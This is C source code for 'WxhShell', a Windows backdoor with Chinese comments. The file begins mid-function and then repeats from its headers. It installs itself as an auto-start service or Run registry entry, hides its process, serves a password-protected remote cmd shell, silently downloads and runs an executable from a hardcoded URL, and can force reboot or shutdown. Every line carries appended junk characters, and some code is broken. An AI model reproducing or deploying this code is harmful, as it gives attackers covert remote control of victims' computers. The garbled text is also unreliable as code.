    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?8j#gYx2  
    else { o(2tRDT\_b  
    closesocket(wsh); &WqKsH$  
    ExitThread(0); 3Zr'Mn  
    } Rk1B \L|M  
    break; 4f}:)M$5  
    } ZL0':7  
  // 获取shell .7BB*!CP  
  case 's': { fP6]z y^ *  
    CmdShell(wsh); m((A  
    closesocket(wsh); oX2J2O  
    ExitThread(0); &$'=SL(Z  
    break; k:+Bex$g  
  } _$W</8 <  
  // 退出 DeMF<)#  
  case 'x': { BUuU#e5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @iW^OVpp<8  
    CloseIt(wsh); rm-6Az V  
    break; 4. &t  
    } v4:g*MD?~  
  // 离开 aCL_cVOMR  
  case 'q': { #4WA2EW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p|W <xFk  
    closesocket(wsh); [jOvy>2K]  
    WSACleanup(); 8?n6\cF  
    exit(1); }]qx "  
    break; OT & mNE4  
        } [vIHYp  
  } J!%cHqR  
  } \"E-z.wW=  
D]I]I!2c  
  // 提示信息 _` %z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }F*u 9E  
} ^:b%Q O  
  } 9$9Pv%F:j  
)/'y'd<r  
  return; %H-(-v^T*  
} =5JTVF  
bd n{Y  
// shell模块句柄 ([-xM%BI6  
int CmdShell(SOCKET sock) K1P3 FfG  
{ t/6t{*-w  
STARTUPINFO si; =xs{Ov=  
ZeroMemory(&si,sizeof(si)); u>G#{$)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Unl6?_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $/sQatic  
PROCESS_INFORMATION ProcessInfo; HiBw==vlV  
char cmdline[]="cmd"; Ax#$z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0n <t/74  
  return 0; 6J|Ee1Ez  
} Rt$Q *`u   
3pSkk  
// 自身启动模式 l \=M'D  
int StartFromService(void) %ZF6%m0S  
{ _)q,:g~fu  
typedef struct EJ*  
{ fP41 B  
  DWORD ExitStatus; J$)lYSNE  
  DWORD PebBaseAddress; q? x.P2  
  DWORD AffinityMask; EUv xil  
  DWORD BasePriority; 7o$4ov;T  
  ULONG UniqueProcessId; QdM&M^  
  ULONG InheritedFromUniqueProcessId; u!([m; x|  
}   PROCESS_BASIC_INFORMATION; )v!>U<eprD  
MB,;HeP!  
PROCNTQSIP NtQueryInformationProcess; ';buS -|6  
Sm2 |I6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [XA  f=x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~]71(u2  
pn6 e{   
  HANDLE             hProcess; hP4*S^l  
  PROCESS_BASIC_INFORMATION pbi; kcd~`+C  
Re <G#*^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9}`A_KzFx  
  if(NULL == hInst ) return 0; ~Co7%e V  
D.2HM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y-%S,91O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f`X#1w9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?`Oh]2n)6  
P=K+!3ZXo  
  if (!NtQueryInformationProcess) return 0; F`9;s@V*  
{0fQ"))"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]k[y#oB  
  if(!hProcess) return 0; Az2HlKF"L  
3AWNoXh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; > m GO08X  
GI}h )T  
  CloseHandle(hProcess); h(hb?f@1:  
NJb5HoYZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %?lPS  
if(hProcess==NULL) return 0; iY~9`Q1E  
jP6;~[rl  
HMODULE hMod; L 6){wQ%c  
char procName[255]; YcS }ug7  
unsigned long cbNeeded; WP1>)  
P%5h!Z2m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'z\K0  
.$>?2|gRv  
  CloseHandle(hProcess); RaFk/mSw  
~:."BA  
if(strstr(procName,"services")) return 1; // 以服务启动 !7SZZz  
|2!/<%Yr`  
  return 0; // 注册表启动 ,,r%Y&:`6  
} iq`y  
Sk@~}  
// 主模块 Zg%SE'kK  
int StartWxhshell(LPSTR lpCmdLine) kStWsc$;+T  
{ k*\=IacX0  
  SOCKET wsl; ,R$n I*mf_  
BOOL val=TRUE; z;UkK  
  int port=0; !8]W"@qb  
  struct sockaddr_in door; 5EDM?G  
xKz^J SF  
  if(wscfg.ws_autoins) Install(); a3]'%kKp  
=8 d`qS"  
port=atoi(lpCmdLine); +` B m  
[Dp6q~RM  
if(port<=0) port=wscfg.ws_port; ^I9x@t  
Ftj3`Mu  
  WSADATA data; &;7\/m*W1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V 0R;q  
0q"&AxNsP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r'fNQJ >  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `':$PUz,g  
  door.sin_family = AF_INET; 0Ph,E   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5B| iBS l  
  door.sin_port = htons(port); `bO+3Y'5  
[Fe`}F}Co8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AEm?g$a  
closesocket(wsl); ;ej;<7+  
return 1; ptGM'  
} ^r73(8{)  
0Ep%&>@  
  if(listen(wsl,2) == INVALID_SOCKET) { hRSRz5 J}  
closesocket(wsl); VN|P(S6  
return 1; OUn,URI  
} GEy^*, d  
  Wxhshell(wsl); o <8L, u(U  
  WSACleanup(); -uN5 DJSW  
E>xdJ  
return 0; Lm"l*j4  
)Z0pU\  
} `TKe+oS)  
"#d}S)GlXM  
// 以NT服务方式启动 s CSrwsbhv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D_`MeqF}C  
{ ~oz8B^7i;  
DWORD   status = 0; FSd842O  
  DWORD   specificError = 0xfffffff; YmFJlMK  
%O>ehIerD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j*<H18^G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cF3V{b|bU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &V$_u#<  
  serviceStatus.dwWin32ExitCode     = 0; G/\t<>O8o  
  serviceStatus.dwServiceSpecificExitCode = 0; i[@*b/A  
  serviceStatus.dwCheckPoint       = 0; =l&7~  
  serviceStatus.dwWaitHint       = 0; `Q^G k{9P  
{LVii}<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z%(m:/N70  
  if (hServiceStatusHandle==0) return; 8-UlbO6  
NMM0'tY~  
status = GetLastError(); f"q='B9_T\  
  if (status!=NO_ERROR) I0.{OJ-  
{ Q3u P7j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p]:5S_$  
    serviceStatus.dwCheckPoint       = 0; y|Tb&XPD  
    serviceStatus.dwWaitHint       = 0; lNowH0K!D  
    serviceStatus.dwWin32ExitCode     = status; b;`gxXeL  
    serviceStatus.dwServiceSpecificExitCode = specificError; (e S4$$g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qd(C%Wk  
    return; s6%%/|  
  } l_5]~N  
*=mtt^yZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8- 3]Bm!  
  serviceStatus.dwCheckPoint       = 0; 9^QiFgJy  
  serviceStatus.dwWaitHint       = 0; 5Jh=${  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ='a[(C&Y  
} e<6fe-g9;  
<xOXuve  
// 处理NT服务事件,比如:启动、停止 ({i}EC7{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QI'ule  
{ t J N;WK.6  
switch(fdwControl) /]=Ih  
{ aFGEHZJQ  
case SERVICE_CONTROL_STOP: ~cQ./G4  
  serviceStatus.dwWin32ExitCode = 0; FM$XMD0=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x;dyF_*;  
  serviceStatus.dwCheckPoint   = 0; 2'Cwx-_G`  
  serviceStatus.dwWaitHint     = 0; .;)7)%  
  { W0J d2*]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1p=^I'#  
  } AX,V* s  
  return; 3Cmbt_WV  
case SERVICE_CONTROL_PAUSE: Z5/^pyc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <]xGd!x$  
  break; _>+!&_h  
case SERVICE_CONTROL_CONTINUE: q@8Jc[\d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N]udZhkn  
  break; AE? 0UVI  
case SERVICE_CONTROL_INTERROGATE: / E}L%OvE  
  break; +XCLdf}dC  
}; ad1I2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=H   
} GcaLP*%>B  
3 5;|r  
// 标准应用程序主函数 }7&.FV "  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W{:^P0l  
{ /I}#0}  
:_V9Jwu  
// 获取操作系统版本 ~o_0RB  
OsIsNt=GetOsVer(); >uT,Z,7O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /5 yjON{  
A?V}$PTlx  
  // 从命令行安装 6U~AKq"+f  
  if(strpbrk(lpCmdLine,"iI")) Install(); 67/JsL  
no_;^Ou?  
  // 下载执行文件 &0cfTb)dG  
if(wscfg.ws_downexe) { ;]!QLO.bs^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ro3C(aRx  
  WinExec(wscfg.ws_filenam,SW_HIDE); qM78s>\-h  
} HO[W2b  
UtPFkase  
if(!OsIsNt) { nX%b@cOXj  
// 如果时win9x,隐藏进程并且设置为注册表启动 .UX`@Q:Gp  
HideProc(); ;]c@%LX  
StartWxhshell(lpCmdLine); |2t g3m@  
} :0N} K}  
else VZuluV  
  if(StartFromService()) !*Ex}K99  
  // 以服务方式启动 E| eEAa  
  StartServiceCtrlDispatcher(DispatchTable); /2 z, ?,jL  
else *g7BR`Bt]z  
  // 普通方式启动 Io_bS+  
  StartWxhshell(lpCmdLine); E$l4v>iA  
#C^)W/dP  
return 0; @A32|p}  
} fk%W0 7x!  
1OI/!!t1$  
.5$"qb ?  
J]G] <)  
=========================================== x6yYx_  
 wO<.wPa`  
$O nh2 ^  
]q^6az(Ud  
? nx3# <  
V'b$P2 ?^  
" >^Rkk {cc  
U<<@(d%T  
#include <stdio.h> w{F{7X$^  
#include <string.h> |ppG*ee  
#include <windows.h> "06t"u<%  
#include <winsock2.h> X5U#^^O$E%  
#include <winsvc.h> 709/'#- ^  
#include <urlmon.h> IQZ/8UwB  
o6bT.{8\  
#pragma comment (lib, "Ws2_32.lib") }jE [vVlRw  
#pragma comment (lib, "urlmon.lib") OHRkhwF.  
d{/#A%.  
#define MAX_USER   100 // 最大客户端连接数 !ZxK+Xqx[  
#define BUF_SOCK   200 // sock buffer M02 U,!di  
#define KEY_BUFF   255 // 输入 buffer Q Ev7k  
$'*q]]  
#define REBOOT     0   // 重启 B^;"<2b*  
#define SHUTDOWN   1   // 关机 +/+>:  
P;8nC:zL  
#define DEF_PORT   5000 // 监听端口 e|-&h `[  
3uXRS,C  
#define REG_LEN     16   // 注册表键长度 Nyx)&T&I  
#define SVC_LEN     80   // NT服务名长度 *jQ?(Tf  
(>.l kR  
// 从dll定义API z] +&kNm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X,xCR]+5S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d#8 n<NM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [&(~{#}M:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j+"w2  
S:(YZ%#  
// wxhshell配置信息 "ov270:  
struct WSCFG { iW%~>`tT  
  int ws_port;         // 监听端口 i(qZ#oN  
  char ws_passstr[REG_LEN]; // 口令 UaCfXTG  
  int ws_autoins;       // 安装标记, 1=yes 0=no c-VIpA1  
  char ws_regname[REG_LEN]; // 注册表键名 B\54eTn  
  char ws_svcname[REG_LEN]; // 服务名 ,,G[360  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?3 S{>+'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h0.2^vM)R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n }kn|To~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /\. [@]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {gz-w|7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2A=q{7s  
]?G|:Kx$y%  
}; xmNs%  
V O\g"Yc  
// default Wxhshell configuration sOJXloeO[6  
struct WSCFG wscfg={DEF_PORT, Fy 1- >~  
    "xuhuanlingzhe", &+5ij;AD  
    1, Q Yg V[\&  
    "Wxhshell", C4aAPkcp2$  
    "Wxhshell", lrjVD(R=g  
            "WxhShell Service", :%-w/QwTR  
    "Wrsky Windows CmdShell Service", ~pT1,1  
    "Please Input Your Password: ", }el7@Gv  
  1, Xj9\:M-  
  "http://www.wrsky.com/wxhshell.exe", ID: tTltcc  
  "Wxhshell.exe" OKPNsN  
    }; JIiS/]KQ  
)b?$ 4<X^  
// 消息定义模块 +70x0z2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b4qMTRnv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YP Qix  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a]/KJn /B(  
char *msg_ws_ext="\n\rExit."; 1}_4C0h\'  
char *msg_ws_end="\n\rQuit."; W) Ct*I^  
char *msg_ws_boot="\n\rReboot..."; UgL FU#  
char *msg_ws_poff="\n\rShutdown..."; q|{z9V<  
char *msg_ws_down="\n\rSave to "; ,!40\"A  
Z;<:=#  
char *msg_ws_err="\n\rErr!"; KKq%'y)u^  
char *msg_ws_ok="\n\rOK!"; $cW t^B'  
ck< `kJ`b  
char ExeFile[MAX_PATH]; -7KoR}Ck!  
int nUser = 0; .?vHoNvo  
HANDLE handles[MAX_USER]; 8y']kVg  
int OsIsNt; -UM|u_  
43 vF(<r&f  
SERVICE_STATUS       serviceStatus; ..kFn!5(g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +MZI\>  
D;&\)  
// 函数声明 9W0*|!tQ,+  
int Install(void); dS8ydG2  
int Uninstall(void); g< xE}[gF  
int DownloadFile(char *sURL, SOCKET wsh); BRy3D\}  
int Boot(int flag); k;B[wEW@  
void HideProc(void); ]$u C~b   
int GetOsVer(void); + ZK U2N*  
int Wxhshell(SOCKET wsl); +T&YYO8>5  
void TalkWithClient(void *cs); Pr:\zI  
int CmdShell(SOCKET sock); @eM$S5&n$  
int StartFromService(void); i)$P1h  
int StartWxhshell(LPSTR lpCmdLine); ?7]G )8G6  
Fge ["p?GF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $4mCtonP=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xj{gyLs  
1eywnOjrj  
// 数据结构和表定义 t`="2$NO  
SERVICE_TABLE_ENTRY DispatchTable[] = "IB36/9  
{ LZb<-vK"y  
{wscfg.ws_svcname, NTServiceMain}, 3%+!qm  
{NULL, NULL} ;mYZ@g%e  
}; ^J&D)&"j  
:C>iV+B j  
// 自我安装 8_E(.]U  
int Install(void) twu,yC!  
{ XG*> yra`  
  char svExeFile[MAX_PATH]; ,]@K,|pC)  
  HKEY key; t7xJ$^p[|K  
  strcpy(svExeFile,ExeFile); m_;fj~m  
soLW'8  
// 如果是win9x系统,修改注册表设为自启动 q9dplEe5  
if(!OsIsNt) { {i+ o'Lw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {sf ,(.W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HUMy\u84H  
  RegCloseKey(key); gV-*z}`U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q1q 9W@H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gs3c1Qa3b  
  RegCloseKey(key); }K={HW1>  
  return 0; 'pT13RFD  
    } ? )h8uf4  
  } Yn[>Y)  
} j^5YFUwsQg  
else { [-VK! 9pQ  
$OG){'X  
// 如果是NT以上系统,安装为系统服务 ,oUzaEX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B~E">}=!  
if (schSCManager!=0) @dk-+YxG  
{ h (q,T$7 W  
  SC_HANDLE schService = CreateService %Z4*;VwQ  
  ( 7~FHn'xt  
  schSCManager, 4#}aLP  
  wscfg.ws_svcname, {:3\Ms#  
  wscfg.ws_svcdisp, HAL\j 5i  
  SERVICE_ALL_ACCESS, mI5J] hk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *RxJ8.G  
  SERVICE_AUTO_START, 1a/C(4 _k  
  SERVICE_ERROR_NORMAL, 2Mk;r*FT  
  svExeFile, }LCm_av  
  NULL, <T?-A}0uO  
  NULL, 8^^ 1h  
  NULL, !(7m/R  
  NULL, =}%#j0a4  
  NULL "9r$*\wOf  
  ); nShXY6bA  
  if (schService!=0) pbEWnx_  
  { g<(!>:h  
  CloseServiceHandle(schService); >O<a9wz  
  CloseServiceHandle(schSCManager); 6`7tTn?n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #2s}s<Sc;  
  strcat(svExeFile,wscfg.ws_svcname); \c<;!vkZ04  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U+*l!"O,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~Ni  
  RegCloseKey(key); z]r'8Jc  
  return 0; v@|<.  
    } ~h_ _Y>  
  } u.|%@  
  CloseServiceHandle(schSCManager); \wD/TLS}  
} CV\^gTPmx  
} :>.{w$Ln%  
nKzm.D gt_  
return 1; %-yzU/`JF  
} ;  ?f+  
F$DA/{.D  
// 自我卸载 4VZI]3K,  
int Uninstall(void) , + G  
{ Nd]F 33|X  
  HKEY key; CDM6o!ur3  
_\KFMe= PV  
if(!OsIsNt) { Dc@O Mr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { COsmVQ.  
  RegDeleteValue(key,wscfg.ws_regname); d_d&su E  
  RegCloseKey(key); =TDKU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }< H>9iJ:  
  RegDeleteValue(key,wscfg.ws_regname); jQ;/=9  
  RegCloseKey(key); bwzx_F/  
  return 0; &muBSQ-  
  } ':fp|m)M  
} 3nG.ah  
} t*9 gusmG  
else { I)V=$r{  
g%l ,a3"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'o6}g p)  
if (schSCManager!=0) CyR`&u  
{ 6w7;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nna.NU1  
  if (schService!=0) /^AH/,p  
  { B;ek a[xU  
  if(DeleteService(schService)!=0) { 7JGc9K+Av  
  CloseServiceHandle(schService); &Gh0f"?  
  CloseServiceHandle(schSCManager); g5@JA^\vZT  
  return 0; 4WvW11q8U  
  } T/g\v?>  
  CloseServiceHandle(schService); Tk?uJIS :  
  } .*x:  
  CloseServiceHandle(schSCManager); w[ v {)  
} 9^W7i]-Z  
} >2znn&g Z  
A|8"}Hm  
return 1; ~jL%l  
} Q__CW5&'u  
{ogBoDS  
// 从指定url下载文件 p /-du^:2  
int DownloadFile(char *sURL, SOCKET wsh) }yK7LooM  
{ x6`mv8~9Db  
  HRESULT hr; H P.=6bJWi  
char seps[]= "/"; R>O_2`c  
char *token; H[u9C:}9b  
char *file; c'i5,\ #X  
char myURL[MAX_PATH]; gSwV:hm  
char myFILE[MAX_PATH]; fgd2jr 3T  
x|a&wC2,{  
strcpy(myURL,sURL); VkFh(Br<{  
  token=strtok(myURL,seps); 4%J0e'iN  
  while(token!=NULL) ot<d FvD  
  { p[JIH~nb  
    file=token; AOZ C D{  
  token=strtok(NULL,seps); 3<&:av3  
  } YSeH;<'  
>`0U2K  
GetCurrentDirectory(MAX_PATH,myFILE); \W .CHSD  
strcat(myFILE, "\\"); 2{&A)Z!I  
strcat(myFILE, file); rP4T;Clout  
  send(wsh,myFILE,strlen(myFILE),0); Nu6NyYs  
send(wsh,"...",3,0); ?Z 2,?G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d5l42^Z  
  if(hr==S_OK) ZU`9]7"87B  
return 0; Ax&!Nz+?  
else + f67y  
return 1; ri{*\LV*@  
P:'wSE91  
} D!~ Y"4<  
btuG%D{a^  
// 系统电源模块 Bib<ySCre  
int Boot(int flag) mcV<)UA}  
{ m`-);y  
  HANDLE hToken; 8X,6U_>#a  
  TOKEN_PRIVILEGES tkp; ~pRgTXbz  
#SHeK 4  
  if(OsIsNt) { ?gMx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A0Mjk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  pX_#Y)5  
    tkp.PrivilegeCount = 1; V O:4wC"7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R'v~:wNTNs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &IQ=M.!r  
if(flag==REBOOT) { uI-T]N:W8x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2|>\A.I|=  
  return 0; 9~Dg<wQ  
} z ?\it(  
else { KQPu9f9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @PvO;]]%  
  return 0; .rtA sbp.!  
} L~6%Fi&n4  
  } \C3I6Qx  
  else { (  zo7h  
if(flag==REBOOT) { i=EOk}R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eb ILAJ  
  return 0; E%`J =C}  
} p/<DR |  
else { ]lC%HlID  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xfc$M(a K{  
  return 0; (L/>LZn|  
} &'z_:Wm  
} yl-:9|LT  
}/a%-07R  
return 1; |'?vlUCd  
} `NW/Z/_  
V.*TOU{{xh  
// win9x进程隐藏模块 pt <zyH3Z  
void HideProc(void) &zJI~R  
{ bCw{9El!K4  
<T_3s\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bTD?uX!^@  
  if ( hKernel != NULL ) cT'Bp)a  
  { XGSFG ~d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6j6CA?|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cb;6yE)!Z  
    FreeLibrary(hKernel); AY/.vyS  
  } vXDs/,`r  
:lB*kmg  
return; x0<;Rm [u=  
} .#yg=t1C  
KOy{?  
// 获取操作系统版本 lMY\8eobcB  
int GetOsVer(void) '3>;8(s l  
{ XKjrS 9:  
  OSVERSIONINFO winfo; Ljy797{f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *E/Bfp1LIe  
  GetVersionEx(&winfo); [9">}l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LIID(s!bX  
  return 1;  ~71U s  
  else yvB]rz} i  
  return 0; yzS^8,  
} =d{6=2Pt  
4zMvHe  
// 客户端句柄模块 Ms!EK  
int Wxhshell(SOCKET wsl) ws0qwv#  
{ ?6:qAFw  
  SOCKET wsh; M|DMoi8x  
  struct sockaddr_in client; u} mj)Nk  
  DWORD myID; k+h}HCzE  
ztO)~uL  
  while(nUser<MAX_USER) +KTfGwKt  
{ 7%^G ]AFi  
  int nSize=sizeof(client); JH.XZM&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P)Adb~r  
  if(wsh==INVALID_SOCKET) return 1; cu/"=]D  
N )Z>]&5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W;OGdAa_  
if(handles[nUser]==0) _EMI%P& s  
  closesocket(wsh); g Q\.|'%  
else GeR#B;{  
  nUser++; ?Q]&;5o  
  } Z@Rm^g]o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .RxTz9(  
6F (z6_<  
  return 0; 0>|q[SC  
} ^EUR#~b5iy  
MLdwf}[  
// 关闭 socket 2b$>1O&2  
void CloseIt(SOCKET wsh) 2w.FC  
{ #kW=|8X  
closesocket(wsh); +M=h+3hw](  
nUser--; \ja6g  
ExitThread(0); e/D{^*~S  
} ]K(a32VCH  
,j%\3g`  
// 客户端请求句柄 QEJu.o  
void TalkWithClient(void *cs) oZ%uq78#[%  
{ bsQ'kBD  
NljpkeX'  
  SOCKET wsh=(SOCKET)cs; (ks>F=vk*  
  char pwd[SVC_LEN]; I*-\u  
  char cmd[KEY_BUFF]; 8&@=Anc&q  
char chr[1]; [5P-K{Ko  
int i,j; hY4#4A`I  
wC{sP"D  
  while (nUser < MAX_USER) { TZgtu+&  
E^-c,4'F  
if(wscfg.ws_passstr) { |P5dv>tb F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oa/^A-'Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +p\E%<uQ  
  //ZeroMemory(pwd,KEY_BUFF); ;?Pz0,{h  
      i=0; 1n`[D&?q  
  while(i<SVC_LEN) { ? $B4'wc5  
6{+yAsI  
  // 设置超时 Gld~GyB\k  
  fd_set FdRead; @)b'3~ D  
  struct timeval TimeOut; ko}& X=  
  FD_ZERO(&FdRead); ; <FAc R  
  FD_SET(wsh,&FdRead);  %j&vV>2  
  TimeOut.tv_sec=8; +-!3ruwSn  
  TimeOut.tv_usec=0; q-z1ElrN7u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?AFb&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }U7IMONU  
b~.$1oZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) 9Q+07  
  pwd=chr[0]; ,kJ'_mq  
  if(chr[0]==0xd || chr[0]==0xa) { ,l&?%H9q  
  pwd=0;  P@O_MT  
  break; s,_+5ukv  
  } K28L(4)  
  i++; %B@NW2ZQ[  
    } P`Zon  
/gu VA  
  // 如果是非法用户,关闭 socket "(mJupI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I "x'  
} *8)?ZZMM  
C1-U2@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :-x?g2MY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a?-Jj\q  
m'2F#{  
while(1) { Ft>B% -;  
 hlVC+%8  
  ZeroMemory(cmd,KEY_BUFF); DGJ:#U E  
U.TZd"  
      // 自动支持客户端 telnet标准   f,ro1Nke  
  j=0; VESvCei  
  while(j<KEY_BUFF) { EP38Ho=[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8Mypv/C  
  cmd[j]=chr[0];  m}yu4  
  if(chr[0]==0xa || chr[0]==0xd) { QbdXt%gZe  
  cmd[j]=0; s4Ja y!A  
  break; +Ug &  
  } x;[)#>.'  
  j++; :3M ,]W]  
    } ?h`,@~6u  
HK[%'OQ  
  // 下载文件 _&= `vv'  
  if(strstr(cmd,"http://")) { 0j$=KA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gNr4oOR{  
  if(DownloadFile(cmd,wsh)) Jz''UJY/O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7T[L5-g  
  else OXLB{|hH80  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ](oeMl18R  
  } GIlaJ!/  
  else { [ &Wy $  
Y's=31G@  
    switch(cmd[0]) { TY]0aw2]|7  
  <x`yoVPiZg  
  // 帮助 E:rJi]  
